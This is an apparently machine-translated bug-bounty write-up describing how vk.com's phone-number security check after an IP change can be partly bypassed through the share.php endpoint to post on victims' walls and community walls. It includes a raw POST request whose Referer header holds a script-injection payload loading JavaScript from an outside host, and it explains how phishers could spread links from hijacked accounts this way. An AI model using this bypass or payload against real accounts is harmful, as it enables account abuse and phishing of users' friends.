[BugBounty]部分認証バイパスvk.com

Vkontakte認証を回避するタスクを自分で設定しました。 vkアカウントにログインする人のIPアドレスが変更された場合、完全な電話番号を入力する必要があります。 攻撃者が電話でログインした場合; パスワードを入力すると、アカウントでアクションを実行できるようになります。 しかし、彼がメールで入力した場合; パスワードを使用したり、Cookieを置換したりすると、アカウントに対してアクションを実行できなくなります。



画像 すべての情報は情報提供のみを目的として提供されています。 この記事の資料によって引き起こされる可能性のある損害について、私は責任を負いません。





電話番号の入力は3回しか試行されていないため、Bruteforceはここでは機能しません。 すべての可能なgetおよびpostリクエストを実行しようとしましたが、その間ずっとhttps://vk.com/login.php?act=security_checkへのリダイレクトがありました。



画像



別のアカウントから投稿リクエストを実行することは可能ですが、これにはcsrfトークン(ハッシュ)が必要ですが、ログアウトhttps://login.vk.com/?act=logout&hash=dbefb8b0bba973b95e&reason=tn&_origin=https:/のトークンしか見つけることができませんでした/vk.com



vk.com/restore?act=change_phoneアカウントで電話番号を変更するよう提案されてます。ここでは、未読メッセージ( バグではなく機能ですが 、これを削除しても問題はありません)の数を確認できます。



しばらくして、偶然https://vk.com/share.php?url=https://ok.ruリンクの共有共有機能に出会いました。驚いたことに、このリンクが開きました。



画像



私は自分自身に壁へのリンクを投稿しようとし、メッセージを受け取りました。



おめでとうございます! リンクがページに表示されます。



画像



最初は信じられませんでしたが、security_checkはすべてをブロックすると思っていましたが、壁に行き、リンクが正常に投稿されたことを確認しました)







リンクだけでなく、通常の投稿も壁で共有できます 。そのためには、 urlパラメーターを空のままhttps://vk.com/share.php?url=にする必要があります



画像



また、コミュニティの所有者または管理者である場合は、電話番号の入力をバイパスしてコミュニティウォールにメッセージを投稿できます。



vk.com/login.php?act=security_checkは友人のリストの受信をブロックするため、友人にメッセージを送信することはできません。 友人にURLを送信するリクエストには、フォームがあります。



POST /al_mail.php HTTP/1.1 Host: vk.com User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: https://vk.com/share.php?url="><script src=https://securityz.net/t.js?320408></script></script> Content-Length: 139 Cookie: remixlang=0 Connection: close act=a_send&al=1&chas=89c444076031dff154&from=share&media=share%3A0_0&message=ww&share_desc=&share_title=&share_url=&title=&to_ids=204690***
      
      





to_idsは友人の理想であり、 chasはcsrfトークンです。つまり、友人のIDを単に置き換えることはできず、トークンは私たちを防ぎます。 ウォールリンクの共有リクエストからトークンを取得できないため、完全に異なる変数があります-ハッシュ= bb6e1ce8db5f1419e3。



脆弱性が発見された直後に、私はh1に関するレポートを書きました。彼らはそれが重複していると言っており、そのようなレポートはすでに送信されていました。



レポートが送信されたおおよその日付を見つけるために、レポートの検索に 移り 、私のIDが私のものに最も近いレポートを見て、日付を調べます-hackerone.com/reports/170894 。 このレポートは4か月前に送信されたことが判明しました。



この間にvkが脆弱性を修正できなかったことは非常に残念です。 いくつかのレポートは何年もぶら下がっています。VKが多くのレポート多くの仕事をしていて 、警備非常に少ないことは誰にとっても秘密ではないので、バグバウンティvkの多くのバグハンターが重複につまずいたと確信しています。



証拠は、 Alexey Pisarenkoによって送信されたビデオファイルの脆弱性です。 2年間の排除を待っています!



画像



1年間ぶら下げられている別のレポート:



画像



この記事は、Vkontakte開発者の注意を引くためだけに作成されました。この脆弱性を修正し、セキュリティ担当者の数を増やし、脆弱性を迅速に排除し始めることを願っています。



結論 :フィッシング詐欺師の目的はスパムであり、実行可能なままであり、認証をバイパスすることができます。



PS:認証をバイパスする過程で、被害者の電話番号を知らなくてもvkグループにサブスクライブできる脆弱性と、番号エントリを完全にバイパスできるがまだ記述していない別の脆弱性を発見しました。



画像



PPS:影響の脆弱性について:



1.この脆弱性は、ユーザーに対する大量のフィッシング攻撃(現在、VKの偽物を作成し、ハッキングされたアカウントの友人に適用可能なプライベートメッセージやソーシャルエンジニアリングを介して配布することが人気を集めています)で使用される可能性があり、ログを受信するとアカウントにログインする問題に遭遇することがよくありますフィッシングサイトのURLがさらに広がり(メールのみ、パスワードのみ)、この脆弱性により、壁や被害者のグループでリンクを共有するため、より多くのログを受け取ることができます。



2.ユーザーのページをブロックまたはフリーズするには、禁止されているリンクをウォールで共有する必要があります。共有リンクはすぐにブロックされます。



VKグループと以下の私のtwitter。 私は購読することを非常にうれしく思います:)



以前の記事「20,000フレーム以上のサイトでのiframeインジェクションとself xss alexarank UA / RU」を読むことをお勧めします 。 また、次の記事[Baghunting] omnideskサポートサイトのブラインドXSS脆弱性



All Articles